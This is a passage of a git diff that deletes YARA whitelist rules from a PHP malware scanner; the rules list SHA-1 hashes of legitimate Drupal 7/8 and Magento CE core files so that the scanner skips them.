"4268df3cf19556a7b7d0798dc81977c90acfa0e7" or // modules/locale/locale.test - hash.sha1(0, filesize) == "bc96ed062a7fad7ebbda32669c3a5daa381575a6" or // modules/color/color.module - hash.sha1(0, filesize) == "e117ed405022dcc8175d306b96c42a53f7c0410a" or // modules/taxonomy/taxonomy.module - hash.sha1(0, filesize) == "2b6073b216fb7d5d7ef3465d50e596fc2b6a70ff" or // includes/theme.inc - hash.sha1(0, filesize) == "89a541888f21d7af626236301ac1f9ae26170e99" or // modules/system/system.api.php - hash.sha1(0, filesize) == "664d80035143128c50e60bf8396b0b64e62630df" or // modules/node/node.module - hash.sha1(0, filesize) == "f3b335d92b224f2edc24ad4127c711dbb04df928" or // modules/comment/comment.module - hash.sha1(0, filesize) == "e3652334ff49ca8032c20a6a32ba6f11eef0af36" or // modules/image/image.module - hash.sha1(0, filesize) == "5f2e0a670d73bc49a851beeecd2785465664ea7b" or // modules/locale/locale.module - hash.sha1(0, filesize) == "bdf2b5b33ff442c52017b42e051037dc8b8ce2fa" or // modules/user/user.install - - /* Drupal 7.24 */ - hash.sha1(0, filesize) == "7ab41616f021e4adf111d5680c4c42e029d4948f" or // includes/file.inc - hash.sha1(0, filesize) == "ae60c814d2cc28baa49e61c7756d0120ef9a728b" or // modules/color/color.module - - /* Drupal 7.25 */ - hash.sha1(0, filesize) == "03b78bcb97010644d79316c3e8d193b50eadf5bf" or // modules/field/field.api.php - hash.sha1(0, filesize) == "7c0343c14a377faa35bb23e647854f69f4db8218" or // includes/database/query.inc - hash.sha1(0, filesize) == "af993137f64bfafa4eca1436ab75a2fe8b56cf8f" or // includes/file.inc - hash.sha1(0, filesize) == "6adee901d4e90e467b331b65a17fbb63a158d201" or // modules/locale/locale.test - hash.sha1(0, filesize) == "9213eaff09673a2880bca63e3468b53582998181" or // modules/simpletest/tests/database_test.test - hash.sha1(0, filesize) == "0091ce1a78ad86c100b0fe1e9eeb5fbf53c9c441" or // modules/system/system.api.php - hash.sha1(0, filesize) == "04e080495f15a6b82b85de9e9897e77e070a4d6b" or // modules/node/node.module - hash.sha1(0, filesize) == "bac2e33d5cd286c3ffa1bdbfa3aeb5f5ea40e7d7" or // modules/comment/comment.module - hash.sha1(0, filesize) == "7ff35df8ba2ca76304675d0938e39c2f2f8b9397" or // modules/image/image.module - - /* Drupal 7.28 */ - hash.sha1(0, filesize) == "9a03817a3f21758efd21015e5970f52150931629" or // modules/field/field.api.php - hash.sha1(0, filesize) == "225b56c05112c540df593bf5fc445c34f21d02db" or // includes/file.inc - hash.sha1(0, filesize) == "f6db3d23187231bf064baba905186f72c9432252" or // modules/simpletest/tests/database_test.test - hash.sha1(0, filesize) == "70223710b73c315d1efc4626e7fdd791316ca597" or // modules/node/node.api.php - hash.sha1(0, filesize) == "0be77ea88557cdf53af7e18c43d68fa5c021f012" or // modules/taxonomy/taxonomy.module - hash.sha1(0, filesize) == "111e775db99adb9f9478205c3752f968f328a79a" or // modules/system/system.api.php - hash.sha1(0, filesize) == "34308cbe2ed163534f3b7f867833a2fee8cab163" or // modules/node/node.module - hash.sha1(0, filesize) == "3b6d9c3db3a7cbebe343a4fd8bfe08fba7a96c36" or // modules/comment/comment.module - - /* Drupal 7.29 */ - hash.sha1(0, filesize) == "0ff5f28b5e0e639d24a2c488f97ded8baf51a9dd" or // includes/file.inc - - /* Drupal 7.30 */ - hash.sha1(0, filesize) == "cfad32d1ec605aa499eec8dc1922c2cd3cad8b46" or // modules/system/system.api.php - - /* Drupal 7.31 */ - hash.sha1(0, filesize) == "29f04965884c8ab2d11f9fd17224a9297b325c0c" or // includes/xmlrpc.inc - - /* Drupal 7.32 */ - hash.sha1(0, filesize) == "a28eb745deebf8a0b557a7acf29886016db68095" or // modules/simpletest/tests/database_test.test - - /* Drupal 7.33 */ - hash.sha1(0, filesize) == "a5a32dbda3cff7d92dfd7345a1d0bfdde388ce87" or // includes/locale.inc - hash.sha1(0, filesize) == "cec9caac43b728cf84b873c1c534fde1a154d01a" or // modules/field/field.api.php - hash.sha1(0, filesize) == "649901b834dae9410b945c5a49e8c95d750e713c" or // includes/file.inc - hash.sha1(0, filesize) == "152c09b9a21b75766ced086dac7231f89061ca13" or // includes/database/pgsql/schema.inc - hash.sha1(0, filesize) == "19c45985dfee7dc27a3a275542dee7c8fc7ebd6d" or // modules/simpletest/drupal_web_test_case.php - hash.sha1(0, filesize) == "9867145895dd79c48dab1a3382cb27ed24ea9e23" or // modules/simpletest/tests/database_test.test - hash.sha1(0, filesize) == "52019f747f744297f17e0f7012a80f8342a16fdc" or // modules/node/node.api.php - hash.sha1(0, filesize) == "108d5ebef4963fabe342b078a5c209a3175b9099" or // modules/simpletest/tests/theme.test - hash.sha1(0, filesize) == "0fab9151adf3f689db7a74ce88595a49b01a6c91" or // modules/taxonomy/taxonomy.module - hash.sha1(0, filesize) == "d2a0a40abf9f252c64e370c9e8682a90039c3746" or // includes/theme.inc - hash.sha1(0, filesize) == "e4a92eda6a80b64f755217d4ffe41912511610b5" or // modules/system/system.api.php - hash.sha1(0, filesize) == "e970494cc4a61aa7aed3878f46ee7d628a5e9172" or // modules/node/node.module - hash.sha1(0, filesize) == "9476e22cde10bde2258f95cd10ad180b5e5af6fa" or // modules/comment/comment.module - hash.sha1(0, filesize) == "d6cc1f41b9e9dd76236513e584eeb287b6f3c73f" or // modules/image/image.module - hash.sha1(0, filesize) == "7493b9f78dea9f379fc0b32769859debae47e003" or // includes/database/sqlite/schema.inc - - /* Drupal 7.36 */ - hash.sha1(0, filesize) == "611ded868095f236e0a259bfde372d9f4b469a48" or // includes/locale.inc - hash.sha1(0, filesize) == "76fb1a3b18da5c1168a719bc636106071621dc4e" or // modules/field/field.api.php - hash.sha1(0, filesize) == "00e4591f606022cc086341399bf2a1abb264c6e6" or // includes/database/query.inc - hash.sha1(0, filesize) == "e129b0c980d4ee0143717e334fc094a042dab464" or // includes/file.inc - hash.sha1(0, filesize) == "09c81d96da6a426c447bc685f1aaef2cff26d3f3" or // modules/locale/locale.test - hash.sha1(0, filesize) == "24e84aa41c3bebde17f5802439a73477952828be" or // modules/simpletest/tests/database_test.test - hash.sha1(0, filesize) == "0a86785b7bc285066911536562b8b4c38ca163b6" or // modules/image/image.module - hash.sha1(0, filesize) == "a1021de42e0f6f2b6d90579154f4d7651e48b3dc" or // modules/node/node.api.php - hash.sha1(0, filesize) == "d53477366c6fd64a25d6777cc3bfb34f4038a39e" or // modules/simpletest/tests/theme.test - hash.sha1(0, filesize) == "6a4553e36e499a2d348cf6a9c010d51e0e0bcf06" or // includes/theme.inc - hash.sha1(0, filesize) == "3ed3f905448dd8d59cc0ca9a82ee02f40435c15e" or // modules/system/system.api.php - hash.sha1(0, filesize) == "db7a1eec1651683d78dcc8c3d3d0a842e71a2466" or // modules/node/node.module - hash.sha1(0, filesize) == "ec81a47e662f903b233e0017cb7d876a7af4849f" or // modules/comment/comment.module - hash.sha1(0, filesize) == "ad7587ce735352b6a55526005c05c280e9d41822" or // modules/system/system.admin.inc - hash.sha1(0, filesize) == "93d5259804a022d3a595482dae8b628506915ae4" or // modules/user/user.install - - /* Drupal 7.37 */ - hash.sha1(0, filesize) == "dfa67a40daeb9c1dd28f3fab00097852243258ed" or // modules/system/system.module - hash.sha1(0, filesize) == "921a9d9d1e3da2b2ca6556003cbc7344729b875e" or // modules/system/system.api.php - hash.sha1(0, filesize) == "c74d2d4c3d15d5a5b233f79a5ba26030261c4560" or // modules/node/node.module - - /* Drupal 7.39 */ - hash.sha1(0, filesize) == "5bdafc679453dac010f3d200bf60e1723b060563" or // modules/simpletest/tests/database_test.test - - /* Drupal 7.40 */ - hash.sha1(0, filesize) == "5ad23ac95682c3e02e0679c662afe2ab4dc9225b" or // includes/locale.inc - hash.sha1(0, filesize) == "9b21dd9b1ef24590e8e727c7e06c93acd53653f9" or // includes/file.inc - hash.sha1(0, filesize) == "1ddde3edf851513b4e87438fa074fe71514cb7a5" or // modules/image/image.module - hash.sha1(0, filesize) == "65e0cdf7b98ab9a02f1edd98e34e978814c4b397" or // modules/node/node.api.php - hash.sha1(0, filesize) == "9b6324f437401cc9484d4af0d41a7b6837a83097" or // includes/update.inc - hash.sha1(0, filesize) == "ee4b12df28ea4349eaa2dd334a187b1cb2bc108f" or // includes/theme.inc - hash.sha1(0, filesize) == "d3fe04a5f7fe23d1333525334431ed897fbc9c17" or // modules/system/system.api.php - hash.sha1(0, filesize) == "ca5f964f5ca7eac379f5e4848faead66103b2ba0" or // modules/node/node.module - - /* Drupal 7.42 */ - hash.sha1(0, filesize) == "6ced2c3aafcd17b69d72fb0c6d7a01da16be8d9e" or // modules/image/image.module - hash.sha1(0, filesize) == "e58f7bcd263e38e6101da654a505fb42dc821705" or // modules/taxonomy/taxonomy.module - hash.sha1(0, filesize) == "aed7b175e86ba70e75d7b0eb184f07ce8fb4afb0" or // includes/theme.inc - hash.sha1(0, filesize) == "59810b9f4ea730462c172ee8b7eae08da2b4dbe3" or // modules/node/node.module - - /* Drupal 8.0.0 */ - hash.sha1(0, filesize) == "7753d6142afc9f7df56c3f90aa715c3c71d68f65" or // core/scripts/transliteration_data.php.txt - hash.sha1(0, filesize) == "8f6dcca398f17d7fc9e9fa43b24ad134f349aa13" or // core/modules/filter/filter.module - hash.sha1(0, filesize) == "ed182aaa40ae08427fac885a22dbd18556bdd0a9" or // core/modules/system/src/Tests/Theme/TwigDebugMarkupTest.php - hash.sha1(0, filesize) == "241803b9ce7dc45ddb117e2b637753be71bce856" or // core/tests/Drupal/Tests/Component/Utility/CryptTest.php - hash.sha1(0, filesize) == "15f5c3913cbf70ae110c69126141f784bc31d1d6" or // vendor/guzzlehttp/guzzle/src/Handler/StreamHandler.php - hash.sha1(0, filesize) == "11acd095e5aac5b66592f80b1c53e471dda458fa" or // core/lib/Drupal/Core/Database/Driver/pgsql/Schema.php - hash.sha1(0, filesize) == "ff6b6fc1219047d4ecd51713eea7bcf6877f07f4" or // core/modules/image/src/Tests/ImageStylesPathAndUrlTest.php - hash.sha1(0, filesize) == "ff850f37457b81677f7ad4d5e96f180dc4efbd8c" or // vendor/twig/twig/lib/Twig/Profiler/Dumper/Html.php - hash.sha1(0, filesize) == "67c8d48238c085aa5a69a45c2849a9cbd27dab90" or // core/modules/filter/src/Plugin/Filter/FilterHtml.php - hash.sha1(0, filesize) == "0629f5a202ca921fcc0efad4e87192ab868a85b7" or // core/lib/Drupal/Core/Database/Driver/sqlite/Schema.php - hash.sha1(0, filesize) == "c3d3a752ac41853573491999c967e9d2f3bf9bba" or // core/lib/Drupal/Core/Database/Query/Condition.php - hash.sha1(0, filesize) == "c05c86dda9ee0a4fca279336628c66f01e7c3d55" or // core/includes/file.inc - hash.sha1(0, filesize) == "2945e559212b15a7a689e102655122a8732cf891" or // vendor/guzzlehttp/guzzle/src/HandlerStack.php - hash.sha1(0, filesize) == "5da6eb43a06886882ad212322fec8c413bbfe07e" or // core/tests/Drupal/Tests/Core/EventSubscriber/ActiveLinkResponseFilterTest.php - hash.sha1(0, filesize) == "c84192069328ba0643be42e6c7cf635dd9599df6" or // core/lib/Drupal/Core/Routing/UrlGenerator.php - hash.sha1(0, filesize) == "e1af8525946c0784f1c3e18163ea1ae7f5ff0f38" or // vendor/twig/twig/lib/Twig/Profiler/Dumper/Text.php - hash.sha1(0, filesize) == "514b2d7e438a37911d198c0af8efa52707734b01" or // core/modules/simpletest/src/TestBase.php - hash.sha1(0, filesize) == "2cc7fdc4b71072cc62a2183f59ca002384a85020" or // core/lib/Drupal/Component/EventDispatcher/ContainerAwareEventDispatcher.php - hash.sha1(0, filesize) == "5aa782930e47af64c4953333069d3af316aac65c" or // core/modules/node/node.api.php - hash.sha1(0, filesize) == "61bb3ecd3ae1ad4178c418787765ae89bae07583" or // core/lib/Drupal/Core/Theme/ThemeManager.php - hash.sha1(0, filesize) == "abfc22a32cc507308e7be802481b941e5a8bf7a2" or // vendor/guzzlehttp/promises/src/Promise.php - hash.sha1(0, filesize) == "a4acb1dd03d580981f6fee26e0059879ffad8091" or // core/includes/update.inc - hash.sha1(0, filesize) == "8954260cbb93f46da59cff358c824679395664c2" or // vendor/twig/twig/lib/Twig/Node/CheckSecurity.php - hash.sha1(0, filesize) == "b4e5c38a4dba9c2a00d69e42a6796859c5fd09e9" or // core/lib/Drupal/Component/Utility/Color.php - hash.sha1(0, filesize) == "b417813eb1334792ce2dd9441810dfd538965ffc" or // core/modules/views/views.api.php - - /* Drupal 8.0.2 */ - hash.sha1(0, filesize) == "784060b6f32a11c2bd460e787e9bdcc5064d4b9b" or // core/modules/filter/filter.module - hash.sha1(0, filesize) == "784e6588f345342345fa8eb060f4f8b47d70bd11" or // core/lib/Drupal/Core/Database/Driver/pgsql/Schema.php - hash.sha1(0, filesize) == "86236e39416f20c37ec26aa0c33d7e5736ab603f" or // core/lib/Drupal/Core/Routing/UrlGenerator.php - hash.sha1(0, filesize) == "b5e81d65bfcec0a06cb37223b53cb3500a4c4c45" or // core/modules/simpletest/src/TestBase.php - hash.sha1(0, filesize) == "3beac5f97e3031e48797a0731e75aec8b619b5c3" or // core/lib/Drupal/Core/Theme/ThemeManager.php - hash.sha1(0, filesize) == "1c6dba82be1f7eff0fe75afd0bd2775b1efb7857" or // core/scripts/run-tests.sh - - /* Drupal 8.0.3 */ - hash.sha1(0, filesize) == "1bb3291430e0c41019200c53efdf4b6f5a269227" or // core/modules/filter/src/Plugin/Filter/FilterHtml.php - hash.sha1(0, filesize) == "c26e101151020b63f0bd199d50bc10c5a8114cb4" or // sites/default/default.settings.php - hash.sha1(0, filesize) == "d38a1297436cd7488db6f35c1e3c65e591fe2daa" or // core/scripts/run-tests.sh - - /* Drupal 8.0.5 */ - hash.sha1(0, filesize) == "854a8b01da0fa52f484453cce6efac16678066d0" or // core/modules/filter/filter.module - hash.sha1(0, filesize) == "dc99435e1fd9209bcc8e218bb24ba5d3bff4d744" or // core/lib/Drupal/Core/Routing/UrlGenerator.php - hash.sha1(0, filesize) == "476755f642a71fdadbc964d1401ba25f3a6246cb" or // core/modules/node/node.api.php - hash.sha1(0, filesize) == "321c3fb11e0c029c1f765545713c0a222a3b28e0" or // sites/default/default.settings.php - hash.sha1(0, filesize) == "323849dc02380489a19e316be93faf60444737d5" or // core/modules/views/views.api.php - - /* Drupal 8.0.6 */ - hash.sha1(0, filesize) == "51de351fd612d0c864783acd9497c41fa4a096d0" // core/scripts/run-tests.sh - -} diff --git a/php-malware-finder/whitelists/magento1ce.yar b/php-malware-finder/whitelists/magento1ce.yar deleted file mode 100644 index 9182ccb..0000000 --- a/php-malware-finder/whitelists/magento1ce.yar +++ /dev/null @@ -1,504 +0,0 @@ -private rule Magento1Ce : ECommerce -{ - condition: - /* Magento CE 1.1.1 */ - hash.sha1(0, filesize) == "743c76e95b3849137c6b5552b568fa3c780c46f6" or // downloader/Maged/Pear.php - hash.sha1(0, filesize) == "382cace9be19b080426456e4c984730c8ffbebf3" or // downloader/pearlib/php/System.php - hash.sha1(0, filesize) == "7e0bab1294ba48689824a21e065d9643695e9f3c" or // downloader/pearlib/php/pearmage.php - hash.sha1(0, filesize) == "f14a60868f4a51ee998e5e53de8bcffeecfaa56e" or // downloader/pearlib/php/pearcmd.php - hash.sha1(0, filesize) == "174d2e99fbd72d9c11021e4650f2295fdf638083" or // downloader/pearlib/php/PEAR.php - hash.sha1(0, filesize) == "f70bdefded327939aaa420b317e3bc15907cec3b" or // downloader/pearlib/php/PEAR/Registry.php - hash.sha1(0, filesize) == "33c0a85ca6fa3a068656c404d9fcae90d687a399" or // downloader/pearlib/php/PEAR/Config.php - hash.sha1(0, filesize) == "1c9b78e26352d32eaeb913579fb7789c2c9f567b" or // downloader/pearlib/php/PEAR/DependencyDB.php - hash.sha1(0, filesize) == "f8bd96af3ec71ba5c4134d363cc50a209b9aef75" or // app/code/core/Mage/GoogleCheckout/Block/Adminhtml/Shipping/Merchant.php - hash.sha1(0, filesize) == "64bb826dd3bebbc228731e7997e157678acae8a9" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "4a0efdf2ad68ae8f602b53b82451171e65f82c09" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "d81f736df877f9126e4b55d1576e6f4fc932187e" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "bd99da4961c6fdd32b613a0038f6795d6810258f" or // app/code/core/Mage/Core/Model/Convert/Profile.php - hash.sha1(0, filesize) == "1f3f1c184b3d1bdfe5243305320ce65a240f0485" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Category.php - hash.sha1(0, filesize) == "b6c0294bc06354096936ba415a973e7e7b596c1a" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Product.php - hash.sha1(0, filesize) == "8a1291211cbdcc17b26fd41b60a67eb0c35d25be" or // app/code/core/Mage/Directory/Model/Mysql4/Currency.php - hash.sha1(0, filesize) == "fcfdc0cb032200b95bdf177c0b50041e02c49d23" or // app/code/core/Mage/Catalog/Block/Product/View/Options/Type/Select.php - hash.sha1(0, filesize) == "888454d2cea4ee1e53c60eee13b0454397d39c22" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "a0d304e026db4b836f3fbc71a6e77bc470f1b07c" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Fieldset.php - hash.sha1(0, filesize) == "c574ef276266161c851696615ae77b9f7a1a1b43" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Field.php - hash.sha1(0, filesize) == "aeb3f5e823029465cbb7c3edbf84180bc0889952" or // app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Options/Option.php - hash.sha1(0, filesize) == "5e3470d274cd5b2e279ac978ded8f220772df0be" or // app/code/core/Zend/Cache/Backend/File.php - hash.sha1(0, filesize) == "0ccb0666a924e7c5167256e1b0751a0427ab2098" or // lib/LinLibertineFont/LinLibertineC_Re-2.8.0.ttf - hash.sha1(0, filesize) == "b50d4664c1a7789fe6826a16a4970d65e51dc3fa" or // lib/Varien/Pear.php - hash.sha1(0, filesize) == "67386af90cbdb52a40ae5e458e2c7ac4688eddd2" or // lib/Varien/Data/Form/Element/Date.php - hash.sha1(0, filesize) == "29012eb0dfee3e1b32ec76d433357b8c545540e7" or // lib/Varien/Data/Form/Element/Gallery.php - hash.sha1(0, filesize) == "c4a0b1abe86508dde3ffaaf1731796586d3b2333" or // lib/Varien/Data/Form/Element/Editor.php - hash.sha1(0, filesize) == "0367960b396fbc2db3654ecf6dac52e89788d117" or // lib/Varien/Data/Form/Element/Multiline.php - hash.sha1(0, filesize) == "b40603ca11ce90532da0a853d45120e00e6de413" or // lib/Varien/Db/test.php - hash.sha1(0, filesize) == "aae982ba3996eda190fa0c734f15f07253c1e51e" or // lib/Varien/Db/Tree.php - hash.sha1(0, filesize) == "f9b9451b6c78160d889ecf1ba48020a6c17872b2" or // lib/Zend/View/Helper/HeadScript.php - hash.sha1(0, filesize) == "7477aa9fe2d3f24e7d32a53e3588dda01ee5fe26" or // lib/Zend/Locale/Format.php - hash.sha1(0, filesize) == "8b92c7a7efc45174190dcb65b07beddf9e4d7153" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "4ce8e354e898f9c8986dbc9326a672b3312f6c69" or // lib/Zend/Date/DateObject.php - hash.sha1(0, filesize) == "7d0c4da4d1eade1f6c6633ade14121ab10c56d9f" or // lib/Zend/Cache/Backend/File.php - - /* Magento CE 1.1.2 */ - hash.sha1(0, filesize) == "05943fb7d0b4d698f6e4369e601254efb3fb00ef" or // lib/LinLibertineFont/LinLibertine_Bd-2.8.1.ttf - - /* Magento CE 1.1.3 */ - - /* Magento CE 1.1.4 */ - - /* Magento CE 1.1.5 */ - hash.sha1(0, filesize) == "a08c529465cbfdd88eff785e55487419a35041e5" or // downloader/Maged/Pear.php - hash.sha1(0, filesize) == "7da9ee530dd22d47e4adc7f9cfe4bd5f31f8d426" or // app/code/core/Mage/GoogleCheckout/Block/Adminhtml/Shipping/Merchant.php - hash.sha1(0, filesize) == "c0286fe2fd26330143cfc53b984cf543ea4284b9" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "ee55c97ab67e3c220d2138dcb4b7f795ed424e57" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "56750037b5fb0beba3541a6405d46684235619ca" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "35d6542180b2d89477d2923151e755e2c438c06c" or // app/code/core/Mage/Core/Model/Convert/Profile.php - hash.sha1(0, filesize) == "cf2450914ca13e60d30dacd243c9e4962785ff0b" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Category.php - hash.sha1(0, filesize) == "e6c2bd60400cae9b30095328ec9d378af98d8bd9" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Product.php - hash.sha1(0, filesize) == "450c9c35b69b5cdbfd82378247f2bd5e06c102ee" or // app/code/core/Mage/Directory/Model/Mysql4/Currency.php - hash.sha1(0, filesize) == "055bc24efb7da2740bf3e50e25fa91ac193b4f4c" or // app/code/core/Mage/Catalog/Block/Product/View/Options/Type/Select.php - hash.sha1(0, filesize) == "8c3922d6b86d2d783cb68775a3eb1ca91bfa6ffb" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "b53329d05fefd512edc86f9a11c50e1f10b7543f" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Fieldset.php - hash.sha1(0, filesize) == "f87abb261a2dcc9b163314e47939fb89859574d1" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Field.php - hash.sha1(0, filesize) == "a84f4c6b83a61dab0db37730b0f938b4e8473330" or // app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Options/Option.php - hash.sha1(0, filesize) == "cbb147789c7072f587890b8332dad9bed063bb2d" or // lib/Varien/Data/Form/Element/Date.php - hash.sha1(0, filesize) == "0159b4c43eae084bedbadc494d1298e3e181f4b0" or // lib/Varien/Data/Form/Element/Gallery.php - hash.sha1(0, filesize) == "44c3494ba9233407b0a5476d6cf9dc1eabd0f28a" or // lib/Varien/Data/Form/Element/Editor.php - hash.sha1(0, filesize) == "6f259b077f88ad086b64a48a6fa0d0b40bd2a899" or // lib/Varien/Data/Form/Element/Multiline.php - hash.sha1(0, filesize) == "1061b92949e6c336246b5020d39be60ece155d63" or // lib/Varien/Db/Tree.php - - /* Magento CE 1.1.6 */ - - /* Magento CE 1.1.7 */ - hash.sha1(0, filesize) == "df23a41ed1e7996020489270e90a4aa2aa2be89d" or // downloader/Maged/Pear.php - hash.sha1(0, filesize) == "ede3de4e1f73a6d047e7086d8317e06a6bf3be50" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "9cf1ea4c8cf4bc5e0b3a73a918d87c7663472c83" or // app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Options/Option.php - hash.sha1(0, filesize) == "d7e5697b32e415f4db5f3fcc1d329577732a71c6" or // lib/Varien/Data/Form/Element/Image.php - - /* Magento CE 1.1.8 */ - - /* Magento CE 1.2.0 */ - hash.sha1(0, filesize) == "d6ebc6b2915ee40734da5ca750ed522cb85dd1a7" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "277fdd2ebdaef4ed69caf17f5c416f1fc84a236c" or // app/code/core/Mage/Core/Model/Translate/Inline.php - hash.sha1(0, filesize) == "37e38312a8883e404e1e810187cb42bb4eee3fa4" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "2760412ac71dc87364adc8ddd74c10913e9bd9e1" or // app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Options/Option.php - hash.sha1(0, filesize) == "98357e8621dcd97741535e97ce2d8d9a72853985" or // lib/Zend/View/Helper/HeadScript.php - hash.sha1(0, filesize) == "286cf3a6569addf0ae4caba845cd94b9c0378158" or // lib/Zend/Locale/Format.php - hash.sha1(0, filesize) == "f504a4747192d5428651979295780563491c3c3b" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "a16d202e41bae23330e0c110d5c211bb57ec0d87" or // lib/Zend/Service/ReCaptcha/MailHide.php - hash.sha1(0, filesize) == "b606b94b19adba03b88b50567f59aae56ef2f91b" or // lib/Zend/Session/Exception.php - hash.sha1(0, filesize) == "c22e09c85f4be958350c7f08a2570d3c3c1d4650" or // lib/Zend/Date/DateObject.php - hash.sha1(0, filesize) == "4cf814ec9721da591eb5ca2861eddb80cecc90d5" or // lib/Zend/Cache/Backend/File.php - - /* Magento CE 1.2.0.1 */ - - /* Magento CE 1.2.0.2 */ - - /* Magento CE 1.2.0.3 */ - hash.sha1(0, filesize) == "125119cd8cb47404d310f10216749983bba7591f" or // app/code/core/Mage/GoogleCheckout/Block/Adminhtml/Shipping/Merchant.php - - /* Magento CE 1.2.1 */ - hash.sha1(0, filesize) == "695c700689f7cfdb21ac04a91bed0d39088a381b" or // app/code/core/Mage/Core/Model/Translate.php - - /* Magento CE 1.2.1.1 */ - - /* Magento CE 1.2.1.2 */ - - /* Magento CE 1.3.0 */ - hash.sha1(0, filesize) == "f4e7a4fd12b9975e64ee9e11791cce63c30aedf7" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "ffdc0c6eb436576f8b68fe40279301ce133b562c" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "5fea618cc39851ff46dea7f25e29fb3b3e0498cf" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Product.php - hash.sha1(0, filesize) == "62bff1028824ec8ac0b46cbf492a5fbebe400b08" or // app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Options/Option.php - - /* Magento CE 1.3.1 */ - hash.sha1(0, filesize) == "b3c2e7755a0d2b5c75f918397a5ed7f6feea5577" or // lib/PEAR/SOAP/Transport.php - hash.sha1(0, filesize) == "4b66586bfa75b202e9227ac784a8ff9629005201" or // lib/PEAR/SOAP/Transport/HTTP.php - - /* Magento CE 1.3.1.1 */ - - /* Magento CE 1.3.2 */ - hash.sha1(0, filesize) == "d7d4f3d1931ee90f7d820d1a754dbeb5e969adc0" or // downloader/pearlib/php/System.php - hash.sha1(0, filesize) == "7fc1f9a57e67ceb0c1208e15374ce3799bfeccf2" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "c3d1caf978ce50359052d09e1d017814bab8bce2" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "893280bc8bcf75b65e2a59b60df8afcabfb7e4e5" or // app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Options/Option.php - hash.sha1(0, filesize) == "c09844900dade96dea89ce6a8b2a7454c3a5c331" or // app/code/core/Zend/Cache/Backend/File.php - hash.sha1(0, filesize) == "94e01fee6209e3bbd9034af7c83a630d6cc1e664" or // lib/Varien/Autoload.php - - /* Magento CE 1.3.2.1 */ - - /* Magento CE 1.3.2.2 */ - hash.sha1(0, filesize) == "082fd7a80bef30aca4e8d8ae4b1a9f9f6ae78dab" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Category.php - hash.sha1(0, filesize) == "7d83812c0d978f2b4a4703e211476b855f20b5e9" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Product.php - hash.sha1(0, filesize) == "958de36312c048d2c00aa78c5ea46a8ef48b3a32" or // app/code/core/Mage/Directory/Model/Mysql4/Currency.php - hash.sha1(0, filesize) == "7395a693295b54c4299f3393a479302b57a0d31a" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Fieldset.php - hash.sha1(0, filesize) == "d9bf44dbad9dafa0ea5976628eec3c15bf82b16d" or // lib/Varien/Autoload.php - - /* Magento CE 1.3.2.3 */ - - /* Magento CE 1.3.2.4 */ - - /* Magento CE 1.3.3.0 */ - - /* Magento CE 1.4.0.0 */ - hash.sha1(0, filesize) == "7f2002909dd18f949f4ce314e4eb88cfd7cfe995" or // app/code/core/Mage/GoogleCheckout/Block/Adminhtml/Shipping/Merchant.php - hash.sha1(0, filesize) == "2addd217a3550aee35337810ed0e1827cfe0b759" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "b1a0974f819869bf60687f8138037c1533c005d4" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "e7b2cbeb82280d159a14f56004a9bd57a27c69b5" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "74f315376c667e8663667b43ae01d5f4438a1cae" or // app/code/core/Mage/Core/Model/Convert/Profile.php - hash.sha1(0, filesize) == "55070101ed51ba9b710a133d443bf06690cc0a3a" or // app/code/core/Mage/Core/Model/Translate/Inline.php - hash.sha1(0, filesize) == "e47990d40d3dc59cb50fbb8880a8cf7d4f78a291" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Category.php - hash.sha1(0, filesize) == "6108e7ed98fed4f1056be8cecc85b3199be13a4d" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Product.php - hash.sha1(0, filesize) == "75418233be7d2e5641ccd436b71d9fe7421c10bd" or // app/code/core/Mage/Directory/Model/Mysql4/Currency.php - hash.sha1(0, filesize) == "0ee9b3a1a41e2d000dbfea245fc048b0996ff1f5" or // app/code/core/Mage/Catalog/Block/Product/View/Options/Type/Select.php - hash.sha1(0, filesize) == "5671193e8b5f0d6099382476b110a199cbd648d9" or // 